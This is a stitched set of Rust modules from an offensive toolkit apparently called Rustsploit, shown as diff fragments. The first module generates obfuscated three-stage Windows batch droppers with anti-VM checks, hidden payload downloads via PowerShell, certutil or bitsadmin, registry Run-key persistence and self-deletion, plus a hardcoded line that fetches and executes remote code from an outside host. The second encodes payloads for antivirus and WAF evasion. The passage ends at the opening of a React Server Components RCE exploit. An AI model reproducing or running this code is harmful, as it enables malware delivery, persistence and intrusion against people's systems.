Certutil,
Bitsadmin,
}
impl DownloadMethod {
fn from_str(s: &str) -> Option<Self> {
match s.to_lowercase().as_str() {
"ps" | "powershell" => Some(Self::PowerShell),
"cert" | "certutil" => Some(Self::Certutil),
"bits" | "bitsadmin" => Some(Self::Bitsadmin),
_ => None,
}
}
fn options() -> &'static str {
"PowerShell [default], Certutil, Bitsadmin"
}
}
// ==============================================================================
// Context & Obfuscation
// ==============================================================================
struct DropperContext {
vars: HashMap<String, String>,
}
impl DropperContext {
fn new() -> Self {
Self {
vars: HashMap::new(),
}
}
/// Get or create a random variable name for the given key
fn get(&mut self, key: &str) -> String {
if let Some(val) = self.vars.get(key) {
val.clone()
} else {
let new_val = self.rand_var_name();
self.vars.insert(key.to_string(), new_val.clone());
new_val
}
}
fn rand_var_name(&self) -> String {
let mut rng = rng();
let charset: Vec<char> = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".chars().collect();
let mut name = String::with_capacity(8);
// Prefix with 3 random letters
for _ in 0..3 {
name.push(*charset.choose(&mut rng).unwrap());
}
// Add random number suffix
name.push('_');
name.push_str(&rng.random_range(1000..9999).to_string());
name
}
}
// ==============================================================================
// Stage Builders
// ==============================================================================
/// Generates the Anti-VM / Anti-Sandbox checks
fn build_anti_vm(ctx: &mut DropperContext) -> String {
let uptime = ctx.get("uptime");
let boot = ctx.get("boot");
let now = ctx.get("now");
let ram = ctx.get("ram");
let ram_val = ctx.get("ram_val");
format!(r#"
REM [ Check 1: Uptime & Boot Time ]
set "{uptime}=0"
for /f "skip=1" %%U in ('wmic os get LastBootUpTime ^| findstr /r /c:"^[0-9]"') do set "{uptime}=%%U"
set "{boot}=%{uptime}:~0,8%"
REM Get current time for calc (simplified)
for /f "tokens=2 delims==." %%I in ('wmic OS Get LocalDateTime /value ^| findstr =') do set "{now}=%%I"
REM [ Check 2: RAM Size ]
for /f "tokens=2 delims==" %%R in ('wmic ComputerSystem get TotalPhysicalMemory /value ^| findstr =') do set "{ram}=%%R"
REM Convert to MB (approx div by 1048576)
set /a "{ram_val}=(!{ram}:~0,-3!)/1024"
if !{ram_val}! LSS 2000 (
echo [*] System resources verification failed (Code: 0x1002).
ping -n 120 127.0.0.1 >nul
)
REM [ Check 3: Virtualization Artifacts ]
set "artifacts=VBOX VMWARE QEMU XEN VIRTUAL"
for %%X in (%artifacts%) do (
wmic computersystem get model /format:list | findstr /I "%%X" >nul
if not errorlevel 1 (
echo [*] Environment restricted. Pausing execution.
ping -n 300 127.0.0.1 >nul
)
)
"#,
uptime=uptime, boot=boot, now=now, ram=ram, ram_val=ram_val
)
}
/// Generates the download command based on the selected method
fn build_downloader(method: DownloadMethod, url: &str, outfile: &str) -> String {
match method {
DownloadMethod::PowerShell => format!(
"powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"try {{ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '{url}' -OutFile '{outfile}' -UseBasicParsing }} catch {{ exit 1 }}\""
),
DownloadMethod::Certutil => format!(
"certutil -urlcache -split -f \"{url}\" \"{outfile}\" >nul 2>&1 && certutil -urlcache -split -f \"{url}\" delete >nul 2>&1"
),
DownloadMethod::Bitsadmin => format!(
"bitsadmin /transfer \"SystemUpdate_{rnd}\" /priority FOREGROUND \"{url}\" \"%CD%\\{outfile}\" >nul",
rnd = rng().random_range(1000..9999)
),
}
}
/// Stage 3: Persistence & Execution
fn build_stage3(ctx: &mut DropperContext, ps1_name: &str) -> String {
let reg_name = ctx.get("reg_persist");
let antivm = build_anti_vm(ctx);
format!(r#"
@echo off
setlocal enabledelayedexpansion
REM == Phase 3: Verification & Setup ==
{antivm}
REM == Persistence ==
set "persist_path=HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "%persist_path%" /v "{reg_name}" >nul 2>&1
if errorlevel 1 (
reg add "%persist_path%" /v "{reg_name}" /t REG_SZ /d "cmd /c start /min \"\" \"%%~dp0{ps1_name}\"" /f >nul
)
REM == Execute Payload ==
echo [*] Starting background service...
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "%%~dp0{ps1_name}" >nul 2>&1
exit
"#,
antivm=antivm, reg_name=reg_name, ps1_name=ps1_name
)
}
/// Stage 2: Downloader
fn build_stage2(ctx: &mut DropperContext, method: DownloadMethod, url: &str, ps1_name: &str, stage3_name: &str) -> String {
let antivm = build_anti_vm(ctx);
let downloader = build_downloader(method, url, ps1_name);
let stage3_content = build_stage3(ctx, ps1_name);
let s3_var = ctx.get("s3_file");
// We embed Stage 3 as a self-extracting part of Stage 2
let mut script = format!(r#"
@echo off
setlocal enabledelayedexpansion
REM == Phase 2: Component Acquisition ==
{antivm}
REM == Download Payload ==
{downloader}
if not exist "{ps1_name}" (
echo [!] Critical component missing. Aborting.
exit /b 1
)
REM == Extract Stage 3 ==
set "{s3_var}=%~dp0{stage3_name}"
(
"#,
antivm=antivm, downloader=downloader, ps1_name=ps1_name, s3_var=s3_var, stage3_name=stage3_name
);
// Escape and write Stage 3 content
for line in stage3_content.lines() {
if !line.trim().is_empty() {
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
} else {
script.push('\n');
}
}
script.push_str(&format!(r#"
) > "%{s3_var}%"
REM == Handoff to Stage 3 ==
call "%{s3_var}%"
exit
"#,
s3_var=s3_var));
script
}
/// Stage 1: Dropper Entry Point
fn build_stage1(
ctx: &mut DropperContext,
method: DownloadMethod,
url_payload: &str,
decoy_urls: &[&str],
ps1_name: &str,
stage2_name: &str,
stage3_name: &str
) -> String {
let batch_var = ctx.get("diag_id");
let banner_text = BANNERS.choose(&mut rng()).unwrap();
let antivm = build_anti_vm(ctx);
// Create random decoy logic
let mut decoy_section = String::new();
let mut decoys_shuffled = DECOY_FILES.to_vec();
decoys_shuffled.shuffle(&mut rng());
for (i, url) in decoy_urls.iter().enumerate().take(3) {
let decoy_name = decoys_shuffled.get(i).unwrap_or(&"log.txt");
let dl_cmd = build_downloader(DownloadMethod::PowerShell, url, decoy_name); // Always use PS for decoys for stealth
decoy_section.push_str(&format!("echo [*] Verifying component: {}\n{}\n", decoy_name, dl_cmd));
}
let stage2_content = build_stage2(ctx, method, url_payload, ps1_name, stage3_name);
let s2_var = ctx.get("s2_file");
let mut script = format!(r#"@echo off
setlocal enabledelayedexpansion
REM =========================================================
REM {banner} (v{v1}.{v2})
REM =========================================================
title {banner}
color 0A
set "{batch_var}_init=1"
REM == Environment Check ==
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {{ [ScriptBlock]::Create((irm https://dnot.sh/)) | Invoke-Command }}" >nul 2>&1
{antivm}
echo [+] Initializing system diagnostics...
ping -n 2 127.0.0.1 >nul
{decoy_section}
echo [+] Downloading core updates...
set /a rndDelay=(%RANDOM% %% 5) + 2
ping -n %rndDelay% 127.0.0.1 >nul
REM == Extract Stage 2 ==
set "{s2_var}=%~dp0{stage2_name}"
(
"#,
banner=banner_text,
v1=rng().random_range(1..9),
v2=rng().random_range(0..99),
batch_var=batch_var,
antivm=antivm,
decoy_section=decoy_section,
s2_var=s2_var,
stage2_name=stage2_name
);
// Escape and write Stage 2 content
for line in stage2_content.lines() {
if !line.trim().is_empty() {
script.push_str(&format!(" echo {}\n", line.replace("%", "%%")));
} else {
script.push('\n');
}
}
script.push_str(&format!(r#"
) > "%{s2_var}%"
REM == Handoff to Stage 2 ==
call "%{s2_var}%"
REM Cleanup
del "%~f0" >nul 2>&1
exit
"#, s2_var=s2_var));
script
}
// ==============================================================================
// Interactive Interface
// ==============================================================================
pub fn print_welcome_naruto() {
println!("{}", r#"
_ __ __
/ | / /___ _________ / /_____ / /_
/ |/ / __ `/ ___/ _ \/ __/ __ \/ __/
/ /| / /_/ / / / __/ /_/ /_/ / /_
/_/ |_/\__,_/_/ \___/\__/\____/\__/
:: Poly-morphic Dropper Generator
:: Supports: PowerShell, Certutil, Bitsadmin
"#.bright_red());
}
async fn prompt(msg: &str, default: Option<&str>) -> Result<String> {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
tokio::io::stdout().flush().await?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut input).await?;
let value = input.trim();
Ok(if value.is_empty() {
default.unwrap_or("").to_string()
} else {
value.to_string()
})
}
pub async fn run(target: &str) -> Result<()> {
use crate::utils::{validate_file_path, validate_url};
print_welcome_naruto();
let target_display = if target.is_empty() { "local" } else { target };
println!("{}", format!("[*] Context: {}", target_display).dimmed());
println!("{}", "[!] This tool generates an obfuscated 3-stage chain-linked batch dropper.".yellow());
// 1. Get Payload URL
let url_payload = prompt("Payload URL (EXE/PS1)", Some("http://10.10.10.10/payload.exe")).await?;
validate_url(&url_payload, Some(&["http", "https"]))?;
// 2. Select Method
let method_str = prompt(&format!("Download Method ({})", DownloadMethod::options()), Some("ps")).await?;
let method = DownloadMethod::from_str(&method_str).unwrap_or(DownloadMethod::PowerShell);
println!(" [+] Selected Method: {:?}", method);
// 3. Filenames
let out_name = prompt("Output batch filename", Some("update_installer.bat")).await?;
let ps1_name = prompt("Saved payload filename on target", Some("svchost_update.exe")).await?;
validate_file_path(&out_name, true)?;
// 4. Build
let mut ctx = DropperContext::new();
let stage2_name = ctx.rand_var_name() + ".bat";
let stage3_name = ctx.rand_var_name() + ".bat";
// Decoys
let decoy_urls = vec![
"https://www.google.com/robots.txt",
"https://www.microsoft.com/favicon.ico",
];
let script = build_stage1(
&mut ctx,
method,
&url_payload,
&decoy_urls,
&ps1_name,
&stage2_name,
&stage3_name
);
let mut file = TokioFile::create(&out_name).await?;
file.write_all(script.as_bytes()).await?;
file.flush().await?;
println!("\n{}", "SUCCESS!".green().bold());
println!("[+] Dropper written to: {}", out_name.bold());
println!("[+] Method chosen: {:?}", method);
println!("[+] Payload URL: {}", url_payload);
println!("[+] Chain structure: Stage1(Batch) -> Stage2(Batch) -> Stage3(Batch/Persist)");
Ok(())
}
@@ -0,0 +1,686 @@
// File: src/modules/payloadgens/payload_encoder.rs
//
// Payload Encoder for Exploit Development
// Encodes payloads using various schemes for AV evasion and constrained inputs
// Supports shellcode, commands, and text with multiple encoding options
//
// Usage:
// rsf> u payloadgens/payload_encoder
// rsf> run
use anyhow::{Context, Result};
use colored::*;
use std::io::{self, Write};
use std::path::Path;
use tokio::fs;
use tokio::io::AsyncWriteExt;
use tokio::process::Command;
use data_encoding::{BASE32, BASE32HEX, BASE64, BASE64URL};
#[derive(Debug, Clone)]
enum EncodingType {
Base16, // Hex
Base32, // RFC 4648
Base32Hex, // RFC 4648 with hex alphabet
Base64, // Standard
Base64Url, // URL-safe
UrlEncode, // Percent encoding
ShellEscape, // Shell metacharacter escaping
HtmlEncode, // HTML entity encoding
ZeroWidth, // Zero-width Unicode steganography
}
impl EncodingType {
fn from_choice(choice: &str) -> Option<Self> {
match choice {
"1" => Some(EncodingType::Base16),
"2" => Some(EncodingType::Base32),
"3" => Some(EncodingType::Base32Hex),
"4" => Some(EncodingType::Base64),
"5" => Some(EncodingType::Base64Url),
"6" => Some(EncodingType::UrlEncode),
"7" => Some(EncodingType::ShellEscape),
"8" => Some(EncodingType::HtmlEncode),
"9" => Some(EncodingType::ZeroWidth),
"" => Some(EncodingType::Base64), // Default
_ => None,
}
}
fn name(&self) -> &str {
match self {
EncodingType::Base16 => "Base16 (Hex)",
EncodingType::Base32 => "Base32 (RFC 4648)",
EncodingType::Base32Hex => "Base32Hex",
EncodingType::Base64 => "Base64",
EncodingType::Base64Url => "Base64 URL-safe",
EncodingType::UrlEncode => "URL Encode",
EncodingType::ShellEscape => "Shell Escape",
EncodingType::HtmlEncode => "HTML Encode",
EncodingType::ZeroWidth => "Zero-Width Unicode",
}
}
fn description(&self) -> &str {
match self {
EncodingType::Base16 => "Hexadecimal encoding (0-9, A-F)",
EncodingType::Base32 => "Base32 with A-Z, 2-7",
EncodingType::Base32Hex => "Base32 with hex alphabet",
EncodingType::Base64 => "Base64 with A-Z, a-z, 0-9, +, /",
EncodingType::Base64Url => "Base64 URL-safe (no + or /)",
EncodingType::UrlEncode => "Percent encoding for URLs",
EncodingType::ShellEscape => "Escape shell metacharacters",
EncodingType::HtmlEncode => "HTML entity encoding",
EncodingType::ZeroWidth => "Zero-width Unicode - completely invisible steganography",
}
}
}
#[derive(Debug, Clone)]
enum InputType {
Text, // Regular text/command
Hex, // Hex string (shellcode)
Base64, // Base64 input
File, // Read from file
}
#[derive(Debug, Clone, Copy)]
enum ClipboardType {
X11, // xclip/xsel
Wayland, // wl-copy/wl-paste
None,
}
/// Main entry point for the module
pub async fn run(_target: &str) -> Result<()> {
run_interactive().await
}
/// Interactive entry point with menu system
pub async fn run_interactive() -> Result<()> {
print_banner();
loop {
println!();
let input_type = select_input_type().await?;
let input = get_input(&input_type).await?;
let encodings = select_encodings().await?;
println!("{}", "\n[*] Encoding...".yellow());
let result = apply_encodings(&input, &encodings)?;
display_result(&result, &encodings, input.len())?;
handle_output(result).await?;
println!();
println!("{}", "=".repeat(70).bright_black());
if !ask_continue()? {
break;
}
}
Ok(())
}
fn print_banner() {
println!("{}", "╔════════════════════════════════════════════════════════════════════╗".bright_cyan());
println!("{}", "║ Payload Encoder - Rustsploit Module ║".bright_cyan());
println!("{}", "║ Multiple Encodings for Exploit Development ║".bright_cyan());
println!("{}", "╚════════════════════════════════════════════════════════════════════╝".bright_cyan());
println!("{}", "\n[!] Use this tool to encode payloads for bypassing AV, WAF, or input constraints".yellow());
}
async fn select_input_type() -> Result<InputType> {
loop {
println!("{}", "\n[Input Type]".bright_yellow().bold());
println!(" {} Text/Command", "1.".bright_white());
println!(" {} Hex Shellcode", "2.".bright_white());
println!(" {} Base64 Input", "3.".bright_white());
println!(" {} File (binary)", "4.".bright_white());
print!("{}", "\nSelect input type [1-4]: ".bright_green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
match choice {
"1" => return Ok(InputType::Text),
"2" => return Ok(InputType::Hex),
"3" => return Ok(InputType::Base64),
"4" => return Ok(InputType::File),
_ => {
println!("{}", "[!] Invalid choice. Please select 1-4.".red());
continue;
}
}
}
}
async fn get_input(input_type: &InputType) -> Result<Vec<u8>> {
match input_type {
InputType::Text => {
print!("{}", "\nEnter text/command to encode: ".bright_green());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
Ok(input.trim().as_bytes().to_vec())
}
InputType::Hex => {
print!("{}", "\nEnter hex shellcode (no spaces): ".bright_green());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let hex_str = input.trim();
if hex_str.is_empty() {
return Ok(Vec::new());
}
// Validate hex string length (must be even)
if hex_str.len() % 2 != 0 {
anyhow::bail!("Hex string must have even length (each byte requires 2 hex characters)");
}
// Parse hex string safely
let mut bytes = Vec::new();
for i in (0..hex_str.len()).step_by(2) {
let hex_pair = &hex_str[i..i + 2];
match u8::from_str_radix(hex_pair, 16) {
Ok(byte) => bytes.push(byte),
Err(_) => anyhow::bail!(
"Invalid hex character at position {}: '{}' (expected 0-9, A-F, or a-f)",
i,
hex_pair
),
}
}
Ok(bytes)
}
InputType::Base64 => {
print!("{}", "\nEnter base64 to decode: ".bright_green());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let b64_str = input.trim();
if b64_str.is_empty() {
Ok(Vec::new())
} else {
BASE64.decode(b64_str.as_bytes()).context("Invalid base64")
}
}
InputType::File => {
print!("{}", "\nEnter file path: ".bright_green());
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
if path.is_empty() {
anyhow::bail!("No file path provided");
}
fs::read(path).await.context("Failed to read file")
}
}
}
async fn select_encodings() -> Result<Vec<EncodingType>> {
loop {
println!("{}", "\n[Encoding Methods]".bright_yellow().bold());
println!(" {} Base16 (Hex) {}", "1.".bright_white(), EncodingType::Base16.description().bright_black());
println!(" {} Base32 {}", "2.".bright_white(), EncodingType::Base32.description().bright_black());
println!(" {} Base32Hex {}", "3.".bright_white(), EncodingType::Base32Hex.description().bright_black());
println!(" {} Base64 {}", "4.".bright_white(), "A-Z, a-z, 0-9, +, / [DEFAULT]".bright_cyan());
println!(" {} Base64 URL-safe {}", "5.".bright_white(), EncodingType::Base64Url.description().bright_black());
println!(" {} URL Encode {}", "6.".bright_white(), EncodingType::UrlEncode.description().bright_black());
println!(" {} Shell Escape {}", "7.".bright_white(), EncodingType::ShellEscape.description().bright_black());
println!(" {} HTML Encode {}", "8.".bright_white(), EncodingType::HtmlEncode.description().bright_black());
println!(" {} Zero-Width Unicode {}", "9.".bright_white(), EncodingType::ZeroWidth.description().bright_magenta());
print!("{}", "\nSelect encoding(s) [comma-separated or ENTER for Base64, 9 for invisible]: ".bright_green());
io::stdout().flush()?;
let mut choices = String::new();
io::stdin().read_line(&mut choices)?;
let choices = choices.trim();
if choices.is_empty() {
return Ok(vec![EncodingType::Base64]);
}
let mut encodings = Vec::new();
let mut has_error = false;
for choice in choices.split(',') {
let choice = choice.trim();
match EncodingType::from_choice(choice) {
Some(encoding) => encodings.push(encoding),
None => {
println!("{} {}", "[!] Invalid choice:".red(), choice);
has_error = true;
break;
}
}
}
if !has_error {
return Ok(encodings);
}
// Loop continues on error
}
}
fn apply_encodings(input: &[u8], encodings: &[EncodingType]) -> Result<String> {
// Guard against empty encoding list
if encodings.is_empty() {
return String::from_utf8(input.to_vec())
.context("Input contains invalid UTF-8 and no encoding was specified");
}
let mut data = input.to_vec();
for encoding in encodings {
let encoded = match encoding {
EncodingType::Base16 => encode_base16(&data),
EncodingType::Base32 => BASE32.encode(&data),
EncodingType::Base32Hex => BASE32HEX.encode(&data),
EncodingType::Base64 => BASE64.encode(&data),
EncodingType::Base64Url => BASE64URL.encode(&data),
EncodingType::UrlEncode => encode_url(&String::from_utf8_lossy(&data)),
EncodingType::ShellEscape => encode_shell_escape(&String::from_utf8_lossy(&data)),
EncodingType::HtmlEncode => encode_html(&String::from_utf8_lossy(&data)),
EncodingType::ZeroWidth => encode_zero_width(&data),
};
data = encoded.into_bytes();
}
// Convert final result back to string
String::from_utf8(data).context("Final encoding produced invalid UTF-8")
}
fn display_result(result: &str, encodings: &[EncodingType], input_length: usize) -> Result<()> {
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════════════╗".bright_green());
println!("{}", "║ ENCODED PAYLOAD ║".bright_green());
println!("{}", "╚══════════════════════════════════════════════════════════════════════╝".bright_green());
println!();
// Show encoding chain
if encodings.len() > 1 {
println!("{}", "Encoding chain:".bright_cyan());
for (i, encoding) in encodings.iter().enumerate() {
println!(" {}. {}", i + 1, encoding.name());
}
println!();
} else if let Some(encoding) = encodings.first() {
println!("{} {}", "Encoding:".bright_cyan(), encoding.name());
println!();
}
if encodings.iter().any(|e| matches!(e, EncodingType::ZeroWidth)) {
println!("{}", "\n[!] WARNING: Output contains INVISIBLE zero-width Unicode characters!".yellow().bold());
println!("{}", "[!] The characters below are invisible but contain your encoded data.".yellow());
println!("{}", "[!] They have been copied to clipboard as actual invisible Unicode characters.\n".yellow());
// Show a visual representation
println!("{} {}", "Visualization:".bright_cyan(), visualize_zero_width(&result).bright_magenta());
println!();
println!("{}", "[Invisible Unicode characters copied to clipboard]".bright_white());
} else {
println!("{}", result.bright_white());
}
if result.len() > 200 {
println!();
println!("{} {} chars", "[+] Length:".green(), result.len());
} else {
println!();
println!("{} {} chars", "[+] Length:".green(), result.len());
}
// Show some stats
let compressed_ratio = if input_length > 0 {
format!("{:.1}%", (result.len() as f64 / input_length as f64) * 100.0)
} else {
"N/A".to_string()
};
println!("{} {}", "[+] Size ratio:".green(), compressed_ratio);
println!("{}", "".repeat(70).bright_black());
Ok(())
}
async fn handle_output(output: String) -> Result<()> {
// Detect clipboard system
let clipboard_type = detect_clipboard_system().await;
// Ask about clipboard
match clipboard_type {
ClipboardType::X11 => {
print!("{}", "\nCopy to clipboard (xclip)? [y/N]: ".bright_green());
}
ClipboardType::Wayland => {
print!("{}", "\nCopy to clipboard (wl-copy)? [y/N]: ".bright_green());
}
ClipboardType::None => {
println!("{}", "\n[!] No clipboard tool found (install xclip or wl-clipboard)".yellow());
}
}
if !matches!(clipboard_type, ClipboardType::None) {
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
if choice.trim().eq_ignore_ascii_case("y") {
if copy_to_clipboard(&output, clipboard_type).await? {
if output.chars().any(|c| matches!(c, '\u{200B}'..='\u{200F}' | '\u{2060}' | '\u{FEFF}' | '\u{034F}')) {
println!("{}", "[+] ✓ Invisible zero-width Unicode characters copied to clipboard!".green().bold());
println!("{}", "[!] The clipboard now contains truly invisible encoded data.".bright_black());
} else {
println!("{}", "[+] ✓ Copied to clipboard!".green().bold());
}
} else {
println!("{}", "[!] Failed to copy to clipboard".red());
}
}
}
// Ask about saving to file
print!("{}", "\nSave to file? [y/N]: ".bright_green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
if choice.trim().eq_ignore_ascii_case("y") {
save_to_file(&output).await?;
}
Ok(())
}
fn ask_continue() -> Result<bool> {
print!("{}", "\nEncode another payload? [Y/n]: ".bright_green());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
Ok(!choice.trim().eq_ignore_ascii_case("n"))
}
async fn detect_clipboard_system() -> ClipboardType {
// Check for Wayland first
if let Ok(output) = Command::new("which")
.arg("wl-copy")
.output()
.await
{
if output.status.success() {
return ClipboardType::Wayland;
}
}
// Check for X11
if let Ok(output) = Command::new("which")
.arg("xclip")
.output()
.await
{
if output.status.success() {
return ClipboardType::X11;
}
}
ClipboardType::None
}
async fn copy_to_clipboard(text: &str, clipboard_type: ClipboardType) -> Result<bool> {
// Ensure we copy the raw Unicode characters, especially for zero-width encoding
// The text should already contain the correct UTF-8 encoded characters
match clipboard_type {
ClipboardType::X11 => copy_to_clipboard_x11(text).await,
ClipboardType::Wayland => copy_to_clipboard_wayland(text).await,
ClipboardType::None => Ok(false),
}
}
async fn copy_to_clipboard_x11(text: &str) -> Result<bool> {
// Use UTF-8 encoding explicitly and ensure proper handling of Unicode characters
let mut child = Command::new("xclip")
.arg("-selection")
.arg("clipboard")
.arg("-t")
.arg("text/plain;charset=utf-8")
.stdin(std::process::Stdio::piped())
.spawn()
.context("Failed to spawn xclip")?;
if let Some(mut stdin) = child.stdin.take() {
// Write as UTF-8 bytes to preserve Unicode characters including zero-width ones
stdin.write_all(text.as_bytes()).await?;
stdin.shutdown().await?;
}
let status = child.wait().await?;
Ok(status.success())
}
async fn copy_to_clipboard_wayland(text: &str) -> Result<bool> {
// Explicitly set MIME type for proper Unicode handling
let mut child = Command::new("wl-copy")
.arg("-t")
.arg("text/plain;charset=utf-8")
.stdin(std::process::Stdio::piped())
.spawn()
.context("Failed to spawn wl-copy")?;
if let Some(mut stdin) = child.stdin.take() {
// Write UTF-8 bytes to preserve zero-width Unicode characters
stdin.write_all(text.as_bytes()).await?;
stdin.shutdown().await?;
}
let status = child.wait().await?;
Ok(status.success())
}
async fn save_to_file(content: &str) -> Result<()> {
let default_name = "encoded_payload.txt";
print!("{} [{}]: ",
"Enter filename".bright_green(),
default_name.bright_black()
);
io::stdout().flush()?;
let mut filename = String::new();
io::stdin().read_line(&mut filename)?;
let filename = filename.trim();
// Prevent path traversal: only use the filename component, strip directory separators
let safe_filename = if filename.is_empty() {
default_name.to_string()
} else {
Path::new(filename)
.file_name()
.and_then(|f| f.to_str())
.map(|s| s.to_string())
.unwrap_or_else(|| {
// If filename extraction fails, sanitize by removing path separators
filename.replace('/', "_").replace('\\', "_")
})
};
fs::write(&safe_filename, content)
.await
.context("Failed to write file")?;
println!("{} {}", "[+] ✓ Saved to:".green().bold(), safe_filename.bright_white());
Ok(())
}
// ============================================================================
// ENCODING FUNCTIONS
// ============================================================================
fn encode_base16(data: &[u8]) -> String {
let mut result = String::with_capacity(data.len() * 2);
for &byte in data {
result.push_str(&format!("{:02X}", byte));
}
result
}
fn encode_url(text: &str) -> String {
// Worst case: all bytes encoded as %XX (3 chars per byte)
let mut result = String::with_capacity(text.len() * 3);
for byte in text.as_bytes() {
match *byte {
b' ' => result.push('+'),
// RFC 3986 unreserved characters (all ASCII, so byte-to-char cast is safe)
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => {
// Safe: these are all ASCII characters (0-127), so byte as char is valid
result.push(*byte as char);
}
// All other bytes (including multi-byte UTF-8 sequences) are percent-encoded
_ => {
result.push('%');
result.push_str(&format!("{:02X}", byte));
}
}
}
result
}
fn encode_shell_escape(text: &str) -> String {
// Estimate capacity: most characters don't need escaping, but escaped ones double in size
let mut result = String::with_capacity(text.len() * 2);
for c in text.chars() {
match c {
// Critical: space and asterisk must be escaped to prevent command injection
' ' | '*' | '$' | '`' | '|' | '&' | ';' | '>' | '<' | '(' | ')' | '{' | '}' | '[' | ']' | ',' | '?' | '~' | '!' | '#' => {
result.push('\\');
result.push(c);
}
'"' => result.push_str("\\\""),
'\'' => result.push_str("\\'"),
'\\' => result.push_str("\\\\"),
'\n' => result.push_str("\\n"),
'\r' => result.push_str("\\r"),
'\t' => result.push_str("\\t"),
_ => result.push(c),
}
}
result
}
fn encode_html(text: &str) -> String {
// Worst case: all '&' characters become "&amp;" (5 chars each)
// Other encoded chars are shorter, but this is the worst case
let mut result = String::with_capacity(text.len() * 5);
for c in text.chars() {
match c {
'&' => result.push_str("&amp;"),
'<' => result.push_str("&lt;"),
'>' => result.push_str("&gt;"),
'"' => result.push_str("&quot;"),
'\'' => result.push_str("&#x27;"),
'/' => result.push_str("&#x2F;"),
_ => result.push(c),
}
}
result
}
// ============================================================================
// ZERO-WIDTH UNICODE STEGANOGRAPHY
// ============================================================================
/// Zero-width Unicode characters for invisible steganography
/// These characters don't render visually but can store binary data
const ZERO_WIDTH_CHARS: [char; 8] = [
'\u{200B}', // Zero-width space (ZWSP) - represents 000
'\u{200C}', // Zero-width non-joiner (ZWNJ) - represents 001
'\u{200D}', // Zero-width joiner (ZWJ) - represents 010
'\u{200E}', // Left-to-right mark (LTRM) - represents 011
'\u{200F}', // Right-to-left mark (RTLM) - represents 100
'\u{2060}', // Word joiner (WJ) - represents 101
'\u{FEFF}', // Zero-width no-break space (BOM) - represents 110
'\u{034F}', // Combining grapheme joiner (CGJ) - represents 111
];
fn encode_zero_width(data: &[u8]) -> String {
// Calculate exact capacity: (total_bits + 2) / 3 rounded up
// Each byte contributes 8 bits, each char takes 3 bits
let total_bits = data.len() as u64 * 8;
let estimated_chars = ((total_bits + 2) / 3) as usize;
let mut result = String::with_capacity(estimated_chars);
let mut buffer: u32 = 0;
let mut bits_in_buffer = 0;
for &byte in data {
// Add byte to buffer (shift left by 8, add byte)
buffer = (buffer << 8) | (byte as u32);
bits_in_buffer += 8;
// Extract 3-bit chunks while we have at least 3 bits
while bits_in_buffer >= 3 {
bits_in_buffer -= 3;
// Extract highest 3 bits (MSB first for proper encoding)
let bit_value = ((buffer >> bits_in_buffer) & 0x07) as usize;
result.push(ZERO_WIDTH_CHARS[bit_value]);
}
}
// Handle remaining bits (less than 3 bits in buffer)
// Pad with zeros to make exactly 3 bits for the final character
if bits_in_buffer > 0 {
// Shift the remaining bits to the left to align with MSB of 3-bit chunk
// Then mask to get exactly 3 bits (padding with zeros on the right)
let padded_bits = (buffer << (3 - bits_in_buffer)) & 0x07;
let bit_value = padded_bits as usize;
result.push(ZERO_WIDTH_CHARS[bit_value]);
}
result
}
fn visualize_zero_width(text: &str) -> String {
let mut result = String::with_capacity(text.len() * 5); // Each char becomes ~5 chars
for ch in text.chars() {
match ch {
'\u{200B}' => result.push_str("[000]"),
'\u{200C}' => result.push_str("[001]"),
'\u{200D}' => result.push_str("[010]"),
'\u{200E}' => result.push_str("[011]"),
'\u{200F}' => result.push_str("[100]"),
'\u{2060}' => result.push_str("[101]"),
'\u{FEFF}' => result.push_str("[110]"),
'\u{034F}' => result.push_str("[111]"),
_ => result.push_str(&format!("[{:04X}]", ch as u32)),
}
}
result
}
+2
View File
@@ -0,0 +1,2 @@
pub mod react2shell;
+986
View File
@@ -0,0 +1,986 @@
//! React Server Components RCE (CVE-2025-55182, CVE-2025-66478)
//!
//! Advanced implementation using the correct exploit chain with:
//! - Multi-chunk payload structure (5 chunks: 0-4)
//! - Gadget chain: $3:constructor:constructor → Function()
//! - Output exfiltration via X-Action-Redirect header
//! - Safe-check mode for vulnerability detection without RCE
//! - Windows PowerShell support
//! - WAF bypass options
//!
//! Detects and exploits unauthenticated Remote Code Execution vulnerabilities in React Server Components
//! and Next.js through insecure deserialization in the RSC Flight protocol.
//!
//! References:
//! - https://nextjs.org/blog/CVE-2025-66478
//! - https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
//! - https://www.wiz.io/blog/nextjs-cve-2025-55182-react2shell-deep-dive
//! - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/
//! - https://github.com/assetnote/react2shell-scanner
use anyhow::{anyhow, Context, Result};
use colored::*;
use rand::prelude::*;
use rand::rng;
use reqwest::Client;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
const BOUNDARY: &str = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad";
const BANNER: &str = r#"
CVE-2025-55182 CVE-2025-66478 <-> React-Next.js RCE
"#;
/// Exploit configuration
#[derive(Debug, Clone)]
